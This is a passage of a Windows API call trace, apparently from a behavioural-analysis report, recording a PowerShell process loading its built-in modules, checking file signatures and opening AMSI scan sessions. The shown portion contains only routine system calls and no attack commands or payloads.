lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0102.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0102.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0102.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0102.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0102.762] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0102.974] AmsiCloseSession () returned 0x315cd38 [0102.974] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8e8 [0102.976] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0103.053] CoTaskMemFree (pv=0x73bf078) [0103.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0103.054] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0103.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0103.054] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0103.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0103.054] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0103.054] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e050 | out: phkResult=0x843e050*=0x8dc) returned 0x0 [0103.055] RegQueryValueExW (in: hKey=0x8dc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e06c, lpData=0x0, lpcbData=0x843e068*=0x0 | out: lpType=0x843e06c*=0x0, lpData=0x0, lpcbData=0x843e068*=0x0) returned 0x2 [0103.055] RegCloseKey (hKey=0x8dc) returned 0x0 [0103.055] CoTaskMemFree (pv=0x73bdae8) [0103.055] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0103.055] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0103.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0103.055] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0103.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0103.055] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0103.055] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dfa4 | out: phkResult=0x843dfa4*=0x8f0) returned 0x0 [0103.056] RegQueryValueExW (in: hKey=0x8f0, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843dfc0, lpData=0x0, lpcbData=0x843dfbc*=0x0 | out: lpType=0x843dfc0*=0x0, lpData=0x0, lpcbData=0x843dfbc*=0x0) returned 0x2 [0103.056] RegCloseKey (hKey=0x8f0) returned 0x0 [0103.056] CloseHandle (hObject=0x8dc) returned 1 [0103.057] CoCreateGuid (in: pguid=0x843e094 | out: pguid=0x843e094*(Data1=0x6aac434c, Data2=0x261f, Data3=0x4d78, Data4=([0]=0x95, [1]=0x67, [2]=0x33, [3]=0xfd, [4]=0x78, [5]=0x35, [6]=0xf2, [7]=0x4a))) returned 0x0 [0103.057] QueryPerformanceCounter (in: lpPerformanceCount=0x843ddf4 | out: lpPerformanceCount=0x843ddf4*=78518878357) returned 1 [0103.057] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0103.057] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", lpFilePart=0x0) returned 0x4b [0103.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dd28) returned 1 [0103.057] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dda4 | out: lpFileInformation=0x843dda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c750f74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c750f74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c750f74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0103.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dd24) returned 1 [0103.057] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0103.057] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", lpFilePart=0x0) returned 0x4b [0103.058] WTGetSignatureInfo () returned 0x0 [0103.240] CertDuplicateCertificateContext (pCertContext=0x737c2d8) returned 0x737c2d8 [0103.240] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dcd4 | out: phkResult=0x843dcd4*=0x8f0) returned 0x0 [0103.241] RegQueryValueExW (in: hKey=0x8f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x0, lpcbData=0x843dcf0*=0x0 | out: lpType=0x843dcf4*=0x1, lpData=0x0, lpcbData=0x843dcf0*=0x56) returned 0x0 [0103.241] RegQueryValueExW (in: hKey=0x8f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dcf4, lpData=0x5440754, lpcbData=0x843dcf0*=0x56 | out: lpType=0x843dcf4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843dcf0*=0x56) returned 0x0 [0103.241] RegCloseKey (hKey=0x8f0) returned 0x0 [0103.241] CoTaskMemAlloc (cb=0x10) returned 0x740ec30 [0103.241] CoTaskMemAlloc (cb=0x30) returned 0x73915b0 [0103.241] WinVerifyTrust () returned 0x0 [0103.242] CoTaskMemFree (pv=0x73915b0) [0103.242] CoTaskMemFree (pv=0x740ec30) [0103.242] CertFreeCertificateContext (pCertContext=0x737c2d8) returned 1 [0103.242] CloseHandle (hObject=0x8dc) returned 1 [0103.242] AmsiOpenSession () returned 0x0 [0103.242] AmsiScanString () returned 0x80070015 [0103.299] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\en-US\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\en-us\\applocker.psd1")) returned 0xffffffff [0103.299] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\en\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\en\\applocker.psd1")) returned 0xffffffff [0103.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0103.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", nBufferLength=0x4c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1", lpFilePart=0x0) returned 0x4b [0103.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0103.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0103.301] CoTaskMemFree (pv=0x7662b80) [0103.305] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0103.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6b [0103.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets", nBufferLength=0x6b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets", lpFilePart=0x0) returned 0x6a [0103.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d530) returned 1 [0103.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets"), fInfoLevelId=0x0, lpFileInformation=0x843d5ac | out: lpFileInformation=0x843d5ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0103.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d52c) returned 1 [0103.306] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets\\microsoft.security.applicationid.policymanagement.cmdlets.psd1")) returned 0xffffffff [0103.308] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets\\microsoft.security.applicationid.policymanagement.cmdlets.psm1")) returned 0xffffffff [0103.309] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets\\microsoft.security.applicationid.policymanagement.cmdlets.cdxml")) returned 0xffffffff [0103.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets\\microsoft.security.applicationid.policymanagement.cmdlets.xaml")) returned 0xffffffff [0103.311] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets\\microsoft.security.applicationid.policymanagement.cmdlets.ni.dll")) returned 0xffffffff [0103.313] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.security.applicationid.policymanagement.cmdlets\\microsoft.security.applicationid.policymanagement.cmdlets.dll")) returned 0xffffffff [0103.317] AmsiCloseSession () returned 0x315cd38 [0104.059] CoTaskMemFree (pv=0x73c10d0) [0104.059] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0104.059] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0104.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0104.059] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0104.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0104.059] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0104.060] CoTaskMemFree (pv=0x73bea00) [0104.060] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0104.060] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0104.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0104.060] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0104.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0104.060] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0104.062] WTGetSignatureInfo () returned 0x0 [0104.314] CertDuplicateCertificateContext (pCertContext=0x737c4b8) returned 0x737c4b8 [0104.314] WinVerifyTrust () returned 0x0 [0104.315] CoTaskMemFree (pv=0x7391690) [0104.315] CoTaskMemFree (pv=0x740eea0) [0104.315] CertFreeCertificateContext (pCertContext=0x737c4b8) returned 1 [0104.315] CloseHandle (hObject=0x9a8) returned 1 [0104.315] AmsiOpenSession () returned 0x0 [0104.315] AmsiScanString () returned 0x80070015 [0104.522] CoCreateGuid (in: pguid=0x843cd88 | out: pguid=0x843cd88*(Data1=0x3272d5a8, Data2=0xf97d, Data3=0x4860, Data4=([0]=0xbe, [1]=0xd5, [2]=0xb9, [3]=0x83, [4]=0x53, [5]=0x37, [6]=0x75, [7]=0x79))) returned 0x0 [0104.525] CoCreateGuid (in: pguid=0x843c40c | out: pguid=0x843c40c*(Data1=0xebabe0d7, Data2=0x1953, Data3=0x4fbc, Data4=([0]=0xa3, [1]=0xbb, [2]=0x92, [3]=0xab, [4]=0xf2, [5]=0xe2, [6]=0x21, [7]=0x83))) returned 0x0 [0105.162] EtwEventRegister (in: ProviderId=0x55bd04c, EnableCallback=0x7152ffe, CallbackContext=0x0, RegHandle=0x55bd028 | out: RegHandle=0x55bd028) returned 0x0 [0105.163] EtwEventSetInformation (RegHandle=0x7679bd8, InformationClass=0x91, EventInformation=0x2, InformationLength=0x55bcfec) returned 0x0 [0105.164] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x843a708, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0105.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843abc4) returned 1 [0105.165] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x843ac40 | out: lpFileInformation=0x843ac40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0105.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843abc0) returned 1 [0105.346] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\Microsoft.AppV.AppVClientPowerShell.dll", nBufferLength=0x105, lpBuffer=0x843b23c, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\Microsoft.AppV.AppVClientPowerShell.dll", lpFilePart=0x0) returned 0x65 [0105.377] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x740a740*=0x9c4, lpdwindex=0x8439a2c | out: lpdwindex=0x8439a2c) returned 0x0 [0106.251] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0106.251] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1", lpFilePart=0x0) returned 0x4d [0106.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dffc) returned 1 [0106.251] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient\\appvclient.psd1"), fInfoLevelId=0x0, lpFileInformation=0x55da2a8 | out: lpFileInformation=0x55da2a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fc8a9d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x4466f0c3, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x42fc8a9d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2b9)) returned 1 [0106.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dff8) returned 1 [0106.252] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e388*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e388*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xff, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0106.252] SetEvent (hEvent=0x9a4) returned 1 [0106.252] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843e598*=0x9a4, lpdwindex=0x843e3b4 | out: lpdwindex=0x843e3b4) returned 0x0 [0106.252] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0106.252] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1", lpFilePart=0x0) returned 0x4d [0106.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0106.252] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient\\AppvClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient\\appvclient.psd1"), fInfoLevelId=0x0, lpFileInformation=0x55dd738 | out: lpFileInformation=0x55dd738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fc8a9d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x4466f0c3, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x42fc8a9d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2b9)) returned 1 [0106.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0106.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0106.253] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0106.253] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0106.253] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197bc54, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, 